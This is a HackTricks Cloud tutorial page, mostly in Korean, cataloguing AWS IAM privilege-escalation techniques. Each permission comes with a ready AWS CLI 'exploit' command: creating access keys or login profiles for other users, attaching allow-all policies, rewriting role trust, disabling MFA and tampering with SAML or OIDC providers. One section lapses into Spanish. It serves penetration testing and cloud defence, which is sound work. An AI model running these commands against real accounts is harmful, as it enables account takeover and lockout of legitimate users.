AWS - IAM Privesc
Reading time: 8 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
IAM
IAM에 대한 자세한 내용은 다음을 확인하세요:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
새 IAM 정책 버전을 생성할 수 있는 권한을 부여합니다. --set-as-default 플래그를 사용하면 iam:SetDefaultPolicyVersion 권한 없이 우회할 수 있습니다. 이를 통해 사용자 정의 권한을 설정할 수 있습니다.
Exploit Command:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
영향: 모든 리소스에 대해 모든 작업을 허용하여 권한을 직접적으로 상승시킵니다.
iam:SetDefaultPolicyVersion
IAM policy의 기본 버전을 다른 기존 버전으로 변경할 수 있게 허용하며, 새 버전에 더 많은 권한이 있으면 권한 상승이 발생할 수 있습니다.
Bash 명령:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
영향: 추가 권한을 허용하여 간접적인 privilege escalation을 초래함.
iam:CreateAccessKey
다른 사용자에 대해 access key ID 및 secret access key를 생성할 수 있게 하여 잠재적인 privilege escalation으로 이어짐.
Exploit:
aws iam create-access-key --user-name <target_user>
Impact: 다른 사용자의 확장된 권한을 가정하여 직접 privilege escalation을 유발합니다.
iam:CreateLoginProfile | iam:UpdateLoginProfile
로그인 프로필을 생성하거나 업데이트할 수 있으며, AWS 콘솔 로그인을 위한 비밀번호 설정을 포함하여 직접 privilege escalation으로 이어질 수 있습니다.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
업데이트를 위한 Exploit:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
영향: "any" 사용자로 로그인함으로써 직접적인 권한 상승.
iam:UpdateAccessKey
비활성화된 access key를 활성화할 수 있게 허용하며, 공격자가 해당 비활성 키를 보유한 경우 무단 접근으로 이어질 수 있습니다.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
영향: 액세스 키를 재활성화하여 직접적인 권한 상승.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
특정 AWS 서비스(예: CodeCommit, Amazon Keyspaces)에 대한 자격 증명을 생성하거나 재설정할 수 있으며, 연관된 사용자의 권한을 상속합니다.
Exploit for Creation:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Reset을 위한 Exploit:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
영향: 사용자의 서비스 권한 범위 내에서 직접적인 권한 상승.
iam:AttachUserPolicy || iam:AttachGroupPolicy
사용자 또는 그룹에 정책을 연결할 수 있으며, 연결된 정책의 권한을 상속받아 권한을 직접 상승시킬 수 있습니다.
사용자용 Exploit:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
그룹에 대한 Exploit:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Impact: 정책이 부여하는 모든 항목으로의 직접적인 권한 상승.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
역할, 사용자 또는 그룹에 정책을 첨부하거나 추가할 수 있도록 허용하여, 추가 권한을 부여함으로써 직접적인 권한 상승을 가능하게 합니다.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
인라인 정책을 위한 Exploit:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
다음과 같은 정책을 사용할 수 있습니다:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
영향: 정책을 통해 권한을 추가하여 직접적인 권한 상승.
iam:AddUserToGroup
자신을 IAM 그룹에 추가할 수 있게 하여, 그룹의 권한을 상속받아 권한을 상승시킨다.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impact: 그룹의 권한 수준으로 직접 권한 상승.
iam:UpdateAssumeRolePolicy
역할의 assume role policy document를 변경할 수 있도록 허용하며, 해당 역할 및 연관된 권한을 획득할 수 있게 합니다.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
정책이 다음과 같아서 사용자가 해당 역할을 맡을 수 있도록 권한을 부여하는 경우:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Impact: 임의 역할의 권한을 가정하여 직접적인 권한 상승.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
CodeCommit 인증을 위한 SSH public key 업로드 및 MFA devices 비활성화를 허용하여 잠재적인 간접 권한 상승으로 이어질 수 있음.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
MFA 비활성화를 위한 Exploit:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Impact: CodeCommit 접근을 허용하거나 MFA 보호를 비활성화하여 발생할 수 있는 간접적인 권한 상승.
iam:ResyncMFADevice
MFA 디바이스의 재동기화를 허용하며, MFA 보호를 조작하여 간접적인 권한 상승으로 이어질 수 있음.
Bash 명령:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
영향: MFA devices를 추가하거나 조작함으로써 발생하는 간접적인 권한 상승.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
이 권한들이 있으면 SAML 연결의 XML metadata를 변경할 수 있습니다. 그러면 SAML federation을 악용해, 이를 신뢰하는 어떤 role로도 login할 수 있습니다.
참고로 이렇게 하면 legit users는 login할 수 없게 됩니다. 그러나 XML을 얻을 수 있으므로, 자신의 XML을 넣고 login하여 이전 상태로 다시 구성할 수 있습니다.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
note
TODO: SAML metadata를 생성하고 지정된 role로 login할 수 있는 Tool
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(불확실함) 공격자가 이들 permissions 를 가지고 있다면, provider를 신뢰하는 모든 roles 에 대해 login할 수 있도록 새 Thumbprint 를 추가할 수 있다.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
이 권한은 공격자가 특정 사용자의 permissions boundary를 업데이트할 수 있게 하며, 이를 통해 기존 권한으로는 허용되지 않았던 작업을 수행하도록 권한을 상승시킬 수 있습니다.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
iam:PutRolePermissionsBoundary 권한을 가진 행위자는 기존 역할에 권한 경계(permissions boundary)를 설정할 수 있습니다. 이 권한을 가진 사용자가 역할의 경계를 변경하면 위험이 발생합니다: 작업을 부적절하게 제한해 서비스 중단을 초래할 수 있고, 만약 권한을 넓게 허용하는 경계(permissive boundary)를 붙이면 역할이 수행할 수 있는 범위를 사실상 확장해 권한 상승을 일으킬 수 있습니다.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
참고자료
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud